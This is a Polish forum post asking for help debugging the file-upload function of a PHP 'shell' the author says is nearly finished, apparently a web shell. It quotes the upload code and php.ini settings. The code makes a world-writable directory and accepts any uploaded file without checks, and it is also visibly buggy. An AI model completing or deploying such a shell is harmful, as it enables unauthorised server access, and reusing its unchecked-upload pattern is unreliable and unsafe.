marcio
dołączył: 22-10-2007 |
Witam pisze sobie shell'a jest on skonczony w 90% jednak od paru dni sie mecz z jednym problemem pytalem juz na wielu forach ale nic 0 odpowiedzi mam taki kod upload'u
Kod:
<?php
function upload() {
echo('<form method="post" enctype="multipart/form-data" action="'.$_SERVER['PHP_SELF'].'">
<table align="center" width="75%" style="border: 1px dotted white;">
<tr><td align="center"><b>Upload</b></td></tr>
<tr><td align="center">
<input type="hidden" name="MAX_FILE_SIZE" value="999999999">
Dodaj plik: <input type="file" name="up_file" style="font-style:italic; background-color:#000000; color:#00A54E;"> <input type="submit" name="dodaj" value="Dodaj" style="font-style:italic; background-color:#000000; color:#00A54E;">
</td></tr>
');
if(isset($_POST['dodaj'])) {
$uploaded_file = $_FILES['up_file']['tmp_name'];
$dir_r = getcwd();
if(substr($dir_r, -1, 1) != '/') $dir_r .= '/';
if(!file_exists('/var/www/tmp_upload/')) {
$umask_r = umask(0);
$dir = mkdir($dir_r.'tmp_upload', 0777);
umask($umask_r);
}
$nowy_dir = $dir.$_FILES['up_file']['name'];
echo($_FILES['up_file']['tmp_name'].'-'.$_FILES['up_file']['name']);
if(is_writable($nowy_dir)) {
if(is_uploaded_file($uploaded_file)) {
if(move_uploaded_file($uploaded_file, $nowy_dir))
echo('<tr><td align="center"><b style="color:#f00">Uploadowano '.$_FILES['up_file']['name'].' do katalogu '.$dir_r.'tmp_upload</b></td><tr></table></form><br>');
}
else echo('<tr><td align="center"><b style="color:#f00">Blad podczas upload\'u</b></td></tr></table></form><br>');
}
else echo('<tr><td align="center"><b style="color:#f00">Katalog '.$dir_r.'tmp_upload nie ma uprawnien</b></td></tr></table></form><br>');
}
}
?>
Probowalem wyswietlac zmienne $_FILES ale sa puste nie wiem dlaczego u mnie na localhost pisze ze katalog nie ma ma uprawnien gyd ma chmod 777 oprocz tego sprawdzalem php.ini i upload jest wlaczony
Cytat:
;;;;;;;;;;;;;;;;
; File Uploads ;
;;;;;;;;;;;;;;;;
; Whether to allow HTTP file uploads.
file_uploads = On
; Temporary directory for HTTP uploaded files (will use system default if not
; specified).
;upload_tmp_dir =
; Maximum allowed size for uploaded files.
upload_max_filesize = 2M
|